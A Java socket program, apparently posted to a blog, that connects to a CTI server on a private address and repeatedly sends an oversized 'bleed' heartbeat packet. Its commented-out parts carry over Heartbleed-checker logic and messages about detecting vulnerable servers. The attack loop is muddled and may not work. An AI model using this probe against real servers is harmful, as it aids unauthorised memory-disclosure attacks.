百無一用是代碼 ---SOCKET JAVA CTISERVER

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.sql.Time;

public class main2 {
	private static String hello1 = "FC 01 00 00 01 10 00";
	// private static byte[] hello =HexString2Bytes(hello1) ;
	private static byte[] hello = { (byte) 0xFC, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x10,
			(byte) 0x00 };
	private static byte[] bleed = { (byte) 0xFC, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x10,
			(byte) 0x00,(byte) 0x00,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC,(byte) 0xFC };
	private static byte[] tmp;
	private static byte[] pay;


	/**
	 * SSL3_RT_CHANGE_CIPHER_SPEC 20 SSL3_RT_ALERT 21 SSL3_RT_HANDSHAKE 22
	 * SSL3_RT_APPLICATION_DATA 23 TLS1_RT_HEARTBEAT 24
	 * 
	 * @param args
	 * @throws Exception
	 */

	public static void main(String[] args) {
		attack("192.168.0.79", 8000);
		System.exit(0);
	}

	public static boolean attack(String host, int port) {

		System.out.println("開始連接...");
		Socket socket = null;
		try {
			socket = new Socket(host, port);
		} catch (UnknownHostException e) {
			System.out.println("未知主機.");
			return false;
		} catch (IOException e) {
			System.out.println("訪問主機失敗.");
			return false;
		}
		OutputStream out = null;
		try {
			out = socket.getOutputStream();
		} catch (IOException e) {
			System.out.println("獲取輸出流失敗.");
			return false;
		}
		InputStream in = null;
		try {
			in = socket.getInputStream();
		} catch (IOException e) {
			System.out.println("獲取輸入流失敗.");
			return false;
		}

		System.out.println("發送客戶端心跳包...");

		try {
			out.write(hello);
		} catch (IOException e) {
			System.out.println("發送心跳包失敗.");
			return false;
		}

		System.out.println("等待服務器心跳包...");

		while (true) {
			tmp = getData(in, 1024);
			if (tmp[0] == 0) {
				System.out.println("服務器沒有返回心跳包並且關閉了連接.");
				try {
					out.close();
					in.close();
					socket.close();
				} catch (IOException e) {
					System.out.println("關閉輸入輸出流異常");}
				
				return false;
			}

			analyseHead(tmp);
			//System.out.println("當前時間。");
			System.out.println("發送heartbeat心跳包...");
		
			try {
				out.write(bleed);
			} catch (IOException e) {
				System.out.println("發送heartbeat心跳包失敗.");
				return false;
			}
			int len = (int) HexString2Long(byteToHexString(tmp[3]) + byteToHexString(tmp[4]));

			pay = getData(in, len);

			if (tmp[0] == 0 ) {
				System.out.println("查找到返回正常的心跳包。");
				break;
			}
			

		}

		//System.out.println("發送heartbeat心跳包...");

		/*try {
			out.write(bleed);
		} catch (IOException e) {
			System.out.println("發送heartbeat心跳包失敗.");
			return false;
		}
		try {
			out.write(bleed);
		} catch (IOException e) {
			System.out.println("發送heartbeat心跳包失敗.");
			return false;
		}*/

		/*while (true) {
			tmp = getData(in, 1024);
			int len = (int) HexString2Long(byteToHexString(tmp[3]) + byteToHexString(tmp[4]));

			if (tmp[0] == 0) {
				System.out.println("沒有heartbeat返回接收到, 服務器看起來不是易受攻擊的");
				return false;
			}

			if (tmp[0] == 24) {
				System.out.println("接收到heartbeat返回:");

				int count = 0;// 長度計數
				for (int i = 0; i < 4; i++) {// 讀4次,全部讀出64KB
					pay = getData(in, len);
					count += pay.length;
					System.out.print(hexdump(pay));
				}

				System.out.println("\n數據長度爲:" + count);

				if (len > 3) {
					System.out.println("警告: 服務器返回了原本比它多的數據 -服務器是易受攻擊的!");
				} else {
					System.out.println("服務器返回畸形的heartbeat, 沒有返回其他額外的數據");
				}

				break;

			}

			if (tmp[0] == 21) {
				System.out.println("接收到警告:");
				System.out.println(hexdump(pay));
				System.out.println("服務器返回錯誤,看起來不是易受攻擊的");
				break;
			}

		}

		try {
			out.close();
			in.close();
			socket.close();
		} catch (IOException e) {
			System.out.println("關閉輸入輸出流異常");
		}*/

		return true;
	}

	public static byte[] getData(InputStream in, int lenth) {
		byte[] t = new byte[lenth];
		try {
			in.read(t);
		} catch (IOException e) {
			System.out.println("接受數據錯誤");
		}
		return t;
	}

	public static String hexdump(byte[] pay) {
		String s = "";
		try {
			s = new String(pay, "GB2312");
		} catch (UnsupportedEncodingException e) {
			System.out.println("未知編碼");
		}
		return s;
	}

	/**
	 * 字符串轉換成十六進制字符串
	 * 
	 * @param String
	 *            str 待轉換的ASCII字符串
	 * @return String 每個Byte之間空格分隔,如: [61 6C 6B]
	 */
	public static String str2HexStr(String str) {

		char[] chars = "0123456789ABCDEF".toCharArray();
		StringBuilder sb = new StringBuilder("");
		byte[] bs = str.getBytes();
		int bit;

		for (int i = 0; i < bs.length; i++) {
			bit = (bs[i] & 0x0f0) >> 4;
			sb.append(chars[bit]);
			bit = bs[i] & 0x0f;
			sb.append(chars[bit]);
			sb.append(' ');
		}
		return sb.toString().trim();
	}

	/**
	 * 十六進制轉換字符串
	 * 
	 * @param String
	 *            str Byte字符串(Byte之間無分隔符 如:[616C6B])
	 * @return String 對應的字符串
	 */
	public static String hexStr2Str(String hexStr) {
		String str = "0123456789ABCDEF";
		char[] hexs = hexStr.toCharArray();
		byte[] bytes = new byte[hexStr.length() / 2];
		int n;

		for (int i = 0; i < bytes.length; i++) {
			n = str.indexOf(hexs[2 * i]) * 16;
			n += str.indexOf(hexs[2 * i + 1]);
			bytes[i] = (byte) (n & 0xff);
		}
		return new String(bytes);
	}

	/**
	 * String的字符串轉換成unicode的String
	 * 
	 * @param String
	 *            strText 全角字符串
	 * @return String 每個unicode之間無分隔符
	 * @throws Exception
	 */
	public static String strToUnicode(String strText) throws Exception {
		char c;
		StringBuilder str = new StringBuilder();
		int intAsc;
		String strHex;
		for (int i = 0; i < strText.length(); i++) {
			c = strText.charAt(i);
			intAsc = (int) c;
			strHex = Integer.toHexString(intAsc);
			if (intAsc > 128)
				str.append("\\u" + strHex);
			else
				// 低位在前面補00
				str.append("\\u00" + strHex);
		}
		return str.toString();
	}

	/**
	 * unicode的String轉換成String的字符串
	 * 
	 * @param String
	 *            hex 16進制值字符串 (一個unicode爲2byte)
	 * @return String 全角字符串
	 */
	public static String unicodeToString(String hex) {
		int t = hex.length() / 6;
		StringBuilder str = new StringBuilder();
		for (int i = 0; i < t; i++) {
			String s = hex.substring(i * 6, (i + 1) * 6);
			// 高位需要補上00再轉
			String s1 = s.substring(2, 4) + "00";
			// 低位直接轉
			String s2 = s.substring(4);
			// 將16進制的string轉爲int
			int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
			// 將int轉換爲字符
			char[] chars = Character.toChars(n);
			str.append(new String(chars));
		}
		return str.toString();
	}

	/**
	 * 合併兩個byte數組
	 * 
	 * @param pByteA
	 * @param pByteB
	 * @return
	 */
	public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
		int aCount = pByteA.length;
		int bCount = pByteB.length;
		byte[] b = new byte[aCount + bCount];
		for (int i = 0; i < aCount; i++) {
			b[i] = pByteA[i];
		}
		for (int i = 0; i < bCount; i++) {
			b[aCount + i] = pByteB[i];
		}
		return b;
	}

	/**
	 * 截取byte數據
	 * 
	 * @param b
	 *            是byte數組
	 * @param j
	 *            是大小
	 * @return
	 */
	public static byte[] cutOutByte(byte[] b, int j) {
		if (b.length == 0 || j == 0) {
			return null;
		}
		byte[] tmp = new byte[j];
		for (int i = 0; i < j; i++) {
			tmp[i] = b[i];
		}
		return tmp;
	}

	/**
	 * 16進制字符串轉換byte數組
	 * 
	 * @param hexstr
	 *            String 16進制字符串
	 * @return byte[] byte數組
	 */
	public static byte[] HexString2Bytes(String hexstr) {
		byte[] b = new byte[hexstr.length() / 2];
		int j = 0;
		for (int i = 0; i < b.length; i++) {
			char c0 = hexstr.charAt(j++);
			char c1 = hexstr.charAt(j++);
			b[i] = (byte) ((parse(c0) << 4) | parse(c1));
		}
		return b;
	}

	private static int parse(char c) {
		if (c >= 'a')
			return (c - 'a' + 10) & 0x0f;
		if (c >= 'A')
			return (c - 'A' + 10) & 0x0f;
		return (c - '0') & 0x0f;
	}

	/**
	 * byte轉換爲十六進制字符串,如果爲9以內的,用0補齊
	 * 
	 * @param b
	 * @return
	 */
	public static String byteToHexString(byte b) {
		String stmp = Integer.toHexString(b & 0xFF);
		stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
		return stmp.toUpperCase();
	}

	/**
	 * 將byte轉換爲int
	 * 
	 * @param b
	 * @return
	 */
	public static int byteToInt(byte b) {
		return Integer.valueOf(b);
	}

	/**
	 * bytes轉換成十六進制字符串
	 * 
	 * @param byte[]
	 *            b byte數組
	 * @return String 每個Byte值之間空格分隔
	 */
	public static String byteToHexString(byte[] b) {
		String stmp = "";
		StringBuilder sb = new StringBuilder("");
		for (byte c : b) {
			stmp = Integer.toHexString(c & 0xFF);// 與預算,去掉byte轉int帶來的補位
			sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的話填充零
			sb.append(" ");// 每位數據用空格分隔
		}
		return sb.toString().toUpperCase().trim();// 變換大寫,並去除首尾空格
	}

	public static long HexString2Long(String hexstr) {
		long sum = 0;
		int length = hexstr.length();
		for (int i = 0; i < length; i++) {
			sum += parse(hexstr.charAt(i)) * Math.pow(16, length - i - 1);
		}
		return sum;
	}

	public static void analyseHead(byte[] tmp) {
		// System.out.print("接收到消息: "+byteToHexString(tmp)+ "\n");
		String inmsg = byteToHexString(tmp);
		System.out.print("接收到消息: " + inmsg.substring(0, 20) + "\n");
		 System.out.print("關鍵:" + tmp[0] + "\t");
		// System.out.print("版本:" + byteToHexString(tmp[1])
		// + byteToHexString(tmp[2]) + "\t");
		System.out.println("長度:" + HexString2Long(byteToHexString(tmp[3]) + byteToHexString(tmp[4])));

	}
	
	private  void getStringByteLength(String str) throws UnsupportedEncodingException{  
        System.out.println("\""+str+"\"字符所佔的字節長度如下:");  
        System.out.println("ISO-8859-1:"+str.getBytes("ISO-8859-1").length);  
        System.out.println("UTF-8:"+str.getBytes("UTF-8").length);  
        System.out.println("GBK:"+str.getBytes("GBK").length);  
        System.out.println("GB2312:"+str.getBytes("GB2312").length);  
        System.out.println("GB18030:"+str.getBytes("GB18030").length);  
        System.out.println("UTF-16:"+str.getBytes("UTF-16").length);  
    }  
	
	

}



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章